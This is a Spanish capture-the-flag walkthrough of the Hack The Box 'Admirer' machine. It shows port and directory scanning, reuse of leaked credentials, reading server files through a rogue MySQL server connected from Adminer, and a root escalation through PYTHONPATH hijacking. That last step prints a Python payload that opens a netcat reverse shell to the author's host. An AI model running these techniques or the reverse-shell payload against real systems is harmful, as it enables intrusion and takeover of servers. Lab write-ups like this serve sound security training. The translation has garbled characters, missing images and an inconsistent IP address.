Hack the Box. Tutorial Admirer. Vulnerabilidad en Admirer y RCE a trav茅s de la suplantaci贸n de variables de entorno



Sigo publicando soluciones enviadas a la finalizaci贸n de m谩quinas desde el sitio HackTheBox .



En este art铆culo, escaneamos mucho, explotamos RCE en Admirer y cambiamos la variable de entorno para ejecutar nuestro c贸digo Python.



La conexi贸n al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la informaci贸n.



Informaci贸n organizacional
, , Telegram . , , .



. , - , .





Recon



Esta m谩quina tiene una direcci贸n IP de 10.10.10.189, que agrego a / etc / hosts.



10.10.10.187 	admirer.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo har茅 usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opci贸n -A.

nmap -A admirer.htb -p80,22,21






Del resultado del escaneo de nmap, seleccione nuestro siguiente paso. Entonces, el servidor tiene servicios FTP y SSH, pero requieren credenciales. Tambi茅n hay un servidor web Apache con un archivo robots.txt. Solo hay una entrada en este archivo: el directorio admin-dir. Dado que no se proporciona m谩s informaci贸n, nuestro siguiente paso es escanear los directorios. Para ello utilizamos un gobuster r谩pido. En los par谩metros, indicamos que queremos escanear directorios (dir), indicamos el sitio (-u), la lista de palabras (-w), las extensiones que nos interesan (-x), el n煤mero de hilos (-t).

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






Y encontramos dos archivos, el primero contiene direcciones de correo electr贸nico y el segundo contiene varias credenciales.











Y entre las credenciales encontramos las credenciales FTP. Y nos conectamos con 茅xito.







Echemos un vistazo al servidor.







Descarguemos todos los archivos.







Existe la sospecha de que este archivo es una copia de seguridad del sitio, descomprim谩moslo y veamos qu茅 contiene.

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






De nuevo, hay un archivo robots.txt y alg煤n tipo de directorio secreto que contiene los mismos archivos contact.txt y credentials.txt.







El primer archivo no es diferente al existente, pero entre las credenciales est谩n las que no tenemos.







Despu茅s de haber intentado usarlos, no llegamos a ninguna parte. Busquemos al usuario y pasemos l铆neas en todos los archivos descargados.

grep -R -i "user\|pass" ./






Y encontramos dos contrase帽as m谩s para el mismo usuario. He recopilado todas las credenciales disponibles.







Pero tampoco llegaron a ninguna parte.



Punto de entrada



Si intenta realizar tareas no resueltas en el sitio, obtendremos un rechazo.















Dado que todos los archivos ejecutables se encuentran en el directorio de scripts de utilidad, escane茅moslo en el host en busca de archivos php.

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






Y encontramos el archivo admirer.php.







Despu茅s de buscar informaci贸n, de las siguientes fuentes qued贸 claro c贸mo obtener RCE. Si especifica su host como servidor, puede ver un intento de conexi贸n.



Iniciemos el servicio myqsl en el host local.

sudo service mysql start
sudo mysql -u root


Y crearemos un usuario para la autorizaci贸n.

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






Ahora cambiemos el archivo de configuraci贸n /etc/mysql/mariadb.conf.d/50-server.cnf para que cualquiera pueda conectarse a nuestro host. Para hacer esto, comente la l铆nea de direcci贸n de enlace y reinicie el servicio.







sudo service mysql restart


Iniciamos sesi贸n en nombre del usuario reci茅n creado.











USUARIO



Seleccionemos nuestra base de datos.







A continuaci贸n, creemos una tabla.







Y ejecutaremos una consulta SQL para leer el archivo index.php, en el que podemos encontrar las credenciales (como estaba en la copia de seguridad).

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






Ahora pasemos a nuestra tabla creada.







Y encontraremos las credenciales.







Y con esta contrase帽a, iniciamos sesi贸n con 茅xito a trav茅s de SSH.



















RA脥Z



Revisemos nuestra configuraci贸n de sudo.







Por tanto, podemos ejecutar este script como superusuario. Al mirar este script, encontramos la ejecuci贸n del script python, que tambi茅n se ejecuta bajo sudo.







Y en el propio script, se especifica una importaci贸n impl铆cita.







Veamos las variables de entorno, nos interesan las rutas de Python.







As铆, podemos crear un archivo con el mismo nombre, que contenga la misma funci贸n, pero que realice diferentes acciones. Y luego cambiando esta variable de entorno, ejecutaremos el programa, lo que conducir谩 a la ejecuci贸n de nuestro archivo.

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






Ejecutemos el script.

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






Y obtenemos un shell de conexi贸n posterior.







Tenemos un control total sobre esta m谩quina.



Puedes unirte a nosotros en Telegram . All铆 puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habr谩 personas con experiencia en muchas 谩reas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier tema de TI y seguridad de la informaci贸n.



All Articles